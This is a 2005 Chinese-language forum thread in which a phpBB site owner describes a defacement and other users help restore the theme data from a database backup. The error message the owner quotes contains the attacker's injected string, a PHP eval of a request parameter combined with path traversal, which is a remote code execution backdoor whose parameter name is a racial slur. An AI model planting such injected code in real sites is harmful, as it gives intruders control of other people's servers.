[問題] 我的網站疑似被入侵 :(

文章由 **skeptic** » 2005-03-17 12:00

早上到公司一開網頁真是嚇了我一大跳( http://flythinking.net )

我原本預設的風格catcafe被改成Subsilver
原本的catcafe非但已經不見了而且還增加了一個新風格叫FI BLACK
我把預設風格改成FI Black之後，網頁就再也進不去了

我想我被駭了.....

現在網頁變成這樣:

phpBB : Critical Error 

Could not open aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp template config file

DEBUG MODE

Line : 333
File : /home/skeptic/public_html/phpBB2/includes/functions.php

請問站上的前輩，我該怎麼解決這個問題??

文章由赤兔 » 2005-03-17 13:51

●架設主機作業系統：Linux(RedHat)竹貓虛擬主機

文章由阿維 » 2005-03-17 14:19

赤兔寫:●架設主機作業系統：Linux(RedHat)竹貓虛擬主機

反應不要太誇張好嗎?\r
使用者沒有定期更新當然有被入侵的機會,這是理所當然的事情不是嗎?

話說回來,你的資料庫還在嗎?
假如還在我建議重新安裝phpBB 2.0.13看看到底怎麼了

文章由 **小竹子** » 2005-03-17 15:19

發信通知N次要更新要升級了！無力中

文章由 **bebe2803** » 2005-03-17 19:37

入 DB 先至少把自己的風格改回 subsilver (phpbb_user) 之後看看情況如何 @@

文章由 **skeptic** » 2005-03-20 10:59

bebe2803 寫:入 DB 先至少把自己的風格改回 subsilver (phpbb_user) 之後看看情況如何 @@

可以請bebe兄在說詳細一點嗎?

文章由 **oscerropper** » 2005-03-20 18:00

skeptic 寫:
bebe2803 寫:入 DB 先至少把自己的風格改回 subsilver (phpbb_user) 之後看看情況如何 @@
可以請bebe兄在說詳細一點嗎?

去資料庫的
phpbb_user
裡頭把你的個人user_style給改成預設的"1"

-------------------------------------

我現在已經進入了
只差不知道風格的資料庫數值是在那個？
我已經都有更新phpbb安全修正2.013
怎還是有問題?
產生這個問題的主因是？人家破壞的方法是？

我可以用舊的*.sql去還原論壇風格吧？
請問風格是在db中的那一個?

文章由 **oscerropper** » 2005-03-21 15:04

結決方法：

到DB下把phpbb_themes砍掉後

在把你自己備份過的DB中內的
phpbb_themes數據通通還原就可以

文章由 **skeptic** » 2005-03-21 16:08

一、我進入資料庫的phpbb_themes裡，發現剩下subsilver 和 FI Black 兩個風格(分別是編號1 及編號2)。
參考了一下 http://www.phpbb.com/phpBB/viewtopic.php?t=272959 的說明之後，我把編號2的 FI Black刪除了。
接著嘗試進入我的首頁 http://flythinking.net ，結果出現critical error，說是找不到這個風格。
於是我再進到phpbb_themes裡，把剩下的subsilver改為編號2，這時候再進到我的站就通了！我想請教的是：我這樣改編號OK嗎?會不會有什麼後遺症呢?

二、在資料庫 phpbb_user裡，第一個會員名稱是Anonymous，user id 是 -1 ? 怎麼會出現這個東西呢? 我該刪除它嗎?

文章由 **oscerropper** » 2005-03-21 19:01

skeptic 寫:一、我進入資料庫的phpbb_themes裡，發現剩下subsilver 和 FI Black 兩個風格(分別是編號1 及編號2)。
參考了一下 http://www.phpbb.com/phpBB/viewtopic.php?t=272959 的說明之後，我把編號2的 FI Black刪除了。
接著嘗試進入我的首頁 http://flythinking.net ，結果出現critical error，說是找不到這個風格。
於是我再進到phpbb_themes裡，把剩下的subsilver改為編號2，這時候再進到我的站就通了！我想請教的是：我這樣改編號OK嗎?會不會有什麼後遺症呢?

二、在資料庫 phpbb_user裡，第一個會員名稱是Anonymous，user id 是 -1 ? 怎麼會出現這個東西呢? 我該刪除它嗎?

我已經說明了

這個破壞方法只是把你在DB中的phpbb_themes的數值內加入了nigga一大串符號...
只要有備份以前的*.sql檔案..只要截取其中的phpbb_themes還原一下就好了

文章由 **skeptic** » 2005-03-21 19:06

謝謝oscerropper兄熱心解說

文章由 **oscerropper** » 2005-03-21 21:26

skeptic 寫:謝謝oscerropper兄熱心解說

這是人為的..因為我發現有固定的人會來論壇瀏覽..而且會開一堆瀏覽視窗在看
你看看控制台吧..可能會發現到同IP多視窗..

雖然不是什麼嚴重的攻擊但是很討厭

文章由 **skeptic** » 2005-03-21 21:48

我最常發現的是googlebot和msnbot
不太想理它們...

只是我沒想到我這麼小的站台駭客們都不放過...

文章由 **oscerropper** » 2005-03-21 23:36

skeptic 寫:我最常發現的是googlebot和msnbot
不太想理它們...

只是我沒想到我這麼小的站台駭客們都不放過...

今天我才差到一個msnbot (rofl)
不過也可能是駭客在強調2.0.13又有那有問題了

文章由 **小竹子** » 2005-03-22 00:25

搜尋引擎很硬=_=!!